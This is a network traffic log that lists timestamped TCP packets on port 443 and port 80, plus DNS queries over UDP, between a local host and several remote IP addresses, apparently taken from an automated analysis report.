Aug 14, 2024 04:14:49.394733906 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.394934893 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395025015 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395026922 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.395086050 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395150900 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.395168066 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395226002 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395482063 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395560980 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.395574093 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395689011 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.395770073 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.395781994 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.396611929 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.396704912 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.396718979 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.396933079 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.396998882 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.397011042 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.397171021 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.397228956 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.397239923 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.397522926 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.397536039 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.397569895 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.397603035 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.398814917 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.398905993 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.398909092 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.398932934 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.398989916 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.399247885 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.399312973 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.485716105 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.485819101 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.485872030 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.485901117 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.485930920 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.485965967 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486023903 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486082077 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486303091 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486378908 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486388922 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486413956 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486454964 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486711979 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486768961 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486797094 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486874104 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.486900091 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.486959934 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.487236023 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.487303019 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.487469912 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.487546921 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.487976074 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.488059044 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.488085032 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.488140106 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.488188982 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.488254070 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.488270044 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.488325119 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.488884926 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.488954067 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.489089012 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.489161015 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.489342928 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.489402056 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.489830971 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.489907980 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.490025997 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.490089893 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.490282059 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.490343094 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.490364075 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.490586042 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.490642071 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.492079973 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.522962093 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.522991896 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.961774111 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:49.961795092 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:49.961910963 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:49.962090015 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:49.962112904 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.137079000 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.137132883 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.137244940 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.137490034 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.137521029 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.472368002 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.472681046 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.472742081 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.474183083 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.474260092 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.475320101 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.475405931 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.475522041 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.475549936 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.529014111 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.600337982 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600541115 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600629091 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600637913 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.600697994 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600816965 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600874901 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.600893974 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.600955963 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.600972891 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601051092 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601138115 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601226091 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601327896 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601335049 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.601335049 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.601398945 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.601457119 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.605329037 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.612934113 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.613137007 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.613193035 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.614635944 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.614805937 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.614984035 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.615078926 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.615266085 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.654016972 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.660495996 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.669698954 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.669754982 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.697012901 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697206020 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697269917 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.697299957 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697397947 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697451115 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.697465897 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697576046 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697635889 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.697648048 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697736979 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697788954 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.697799921 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697887897 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697983980 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.697993040 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.698013067 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.698069096 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.698221922 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.698383093 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.698447943 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.698460102 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.698946953 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.699012995 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.699023008 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.699136019 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.699191093 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.699202061 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.699287891 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.699389935 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.699402094 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.716527939 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.747765064 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.789416075 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.789633036 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.789695024 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.789710999 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790787935 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790811062 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790832043 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790853977 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.790877104 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790904045 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790924072 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.790924072 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.790925980 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.790958881 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.790976048 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.791002989 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.791805029 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.791882038 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.791939020 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.791939974 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.791955948 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.792191982 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.882033110 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.882095098 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.882139921 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.882205963 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.882242918 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.882251024 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.882312059 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.883644104 CEST	49757	443	192.168.2.4	151.101.130.137
Aug 14, 2024 04:14:50.883678913 CEST	443	49757	151.101.130.137	192.168.2.4
Aug 14, 2024 04:14:50.934978962 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935022116 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935048103 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935112000 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.935170889 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935221910 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935245037 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935246944 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.935261011 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935292006 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:50.935319901 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:50.935601950 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:51.049590111 CEST	49759	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:51.049632072 CEST	443	49759	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:51.290625095 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.290692091 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.290760040 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.290955067 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.290977955 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.787086964 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.836903095 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.870542049 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.870593071 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.874382973 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.874516964 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.883872032 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.884071112 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.884203911 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.884221077 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.927853107 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.987306118 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.987519979 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.987586975 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.987627029 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.987746000 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.987811089 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.987827063 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.987938881 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.988008022 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.988023043 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.988115072 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.988168955 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.988183975 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.988271952 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:51.988326073 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:51.988338947 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.001849890 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.001908064 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.001921892 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.053466082 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.079457045 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079480886 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079519987 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079524994 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.079540968 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079560995 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079579115 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.079591036 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079596996 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.079613924 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.079616070 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.079663038 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.081304073 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.081372976 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.081373930 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.081398964 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.081434965 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.081458092 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.171190977 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.171241999 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.171310902 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.171370983 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.171405077 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.171426058 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.175992966 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176035881 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176073074 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.176088095 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176117897 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.176139116 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.176354885 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176439047 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.176453114 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176642895 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:14:52.176698923 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.290776968 CEST	49761	443	192.168.2.4	151.101.2.137
Aug 14, 2024 04:14:52.290837049 CEST	443	49761	151.101.2.137	192.168.2.4
Aug 14, 2024 04:15:18.685955048 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:15:18.685997963 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:15:33.348529100 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:15:33.348614931 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:15:33.348685980 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:15:33.902813911 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:15:33.902859926 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:15:34.858611107 CEST	49724	80	192.168.2.4	93.184.221.240
Aug 14, 2024 04:15:34.864042997 CEST	80	49724	93.184.221.240	192.168.2.4
Aug 14, 2024 04:15:34.864120960 CEST	49724	80	192.168.2.4	93.184.221.240
Aug 14, 2024 04:15:35.406460047 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:35.406514883 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:35.406598091 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:35.406949043 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:35.406965971 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:36.058173895 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:36.058501959 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:36.058579922 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:36.059108973 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:36.059483051 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:36.059585094 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:36.107992887 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:46.000904083 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:46.000983953 CEST	443	49767	142.250.184.228	192.168.2.4
Aug 14, 2024 04:15:46.001094103 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:47.861469984 CEST	49767	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:15:47.861521959 CEST	443	49767	142.250.184.228	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 14, 2024 04:14:31.738857031 CEST	53	53215	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:31.751117945 CEST	53	50960	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:32.733588934 CEST	53	55991	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:32.899041891 CEST	58783	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:32.899203062 CEST	57999	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:32.918035984 CEST	53	57999	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:32.918812037 CEST	53	58783	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:35.358867884 CEST	61305	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:35.359357119 CEST	61732	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:35.365787983 CEST	53	61305	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:35.366013050 CEST	53	61732	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:36.732314110 CEST	59696	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:36.732800007 CEST	53172	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:36.740422964 CEST	53	53172	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:36.753642082 CEST	53	59696	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:37.538465023 CEST	50564	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:37.538952112 CEST	50567	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:37.967603922 CEST	53	50567	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:38.115806103 CEST	53	50564	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:42.611433029 CEST	55967	53	192.168.2.4	1.1.1.1
